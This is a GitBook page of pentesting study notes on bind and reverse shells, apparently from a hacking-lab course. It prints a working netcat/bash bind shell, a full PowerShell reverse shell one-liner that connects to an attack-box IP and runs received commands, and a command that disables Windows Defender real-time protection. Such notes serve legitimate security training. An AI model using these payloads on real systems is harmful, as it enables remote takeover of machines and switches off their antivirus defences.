> For the complete documentation index, see [llms.txt](https://thescriptkid.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://thescriptkid.gitbook.io/notes/miscellaneous/shells-and-payloads.md).

# Shells & Payloads

## Bind Shells

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2Fy7z2y2qoP0h7yA6NxG52%2Fimage.png?alt=media&amp;token=f657d2b7-355d-472a-a80d-5eb96e0b2667" alt=""><figcaption><p>With a bind shell, the <code>target</code> system has a listener started and awaits a connection from a pentester's system (attack box).</p></figcaption></figure>

## Basic Bind Shell with Netcat

### **Server - Binding a Bash shell to the TCP session**

{% code overflow="wrap" %}

```
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.41.200 7777 > /tmp/f
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2Ffv56tQ6yfX9eYcbe4TF5%2Fimage.png?alt=media&amp;token=4801c8de-fb26-4fbe-9f0c-cd11949ddcd1" alt=""><figcaption></figcaption></figure>

### **Client - Connecting to bind shell on target**

{% code overflow="wrap" %}

```
nc -nv 10.129.41.200 7777
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2F8ajWqPvW5UrHFfSg8Zpc%2Fimage.png?alt=media&amp;token=8fdff938-0922-4d7e-a81d-354e5d590f61" alt=""><figcaption></figcaption></figure>

## Reverse Shells

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FTPwJt15GVdA7t1z709dd%2Fimage.png?alt=media&amp;token=19295f0b-2b30-47c4-8f69-3e1bdf321b2b" alt=""><figcaption><p>With a reverse shell, the attack box will have a listener running, and the target will need to initiate the connection.</p></figcaption></figure>

## Simple Reverse Shell in Windows

### Server (attack box)

{% code overflow="wrap" %}

```
sudo nc -lvnp 443
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FZMmZXrqiAobtX7rVTyWH%2Fimage.png?alt=media&amp;token=06eb3947-0b3a-4cce-adab-14007f11ee0e" alt=""><figcaption></figcaption></figure>

### **Client (target)**

{% code overflow="wrap" %}

```
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FAaXmPquM3O1or1KRSDUd%2Fimage.png?alt=media&amp;token=5dbd212c-cf8f-439d-9c3c-c94286af9690" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FxH9B6yMESLHcupanfUY9%2Fimage.png?alt=media&amp;token=6932769f-ba32-4b1f-801e-e0f995e6f7c7" alt=""><figcaption><p> <code>Windows Defender antivirus</code> (<code>AV</code>) software stopped the execution of the code. </p></figcaption></figure>

### **Disable AV**

{% code overflow="wrap" %}

```
Set-MpPreference -DisableRealtimeMonitoring $true
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FK2xHODRXc2E3xTGz8yM9%2Fimage.png?alt=media&amp;token=2291c4a1-f8e1-4245-adef-e1c43cc6951b" alt=""><figcaption><p>To disable the antivirus through the <code>Virus &#x26; threat protection settings</code> or by using this command in an administrative PowerShell console. Once AV is disabled, attempt to execute the code again.</p></figcaption></figure>
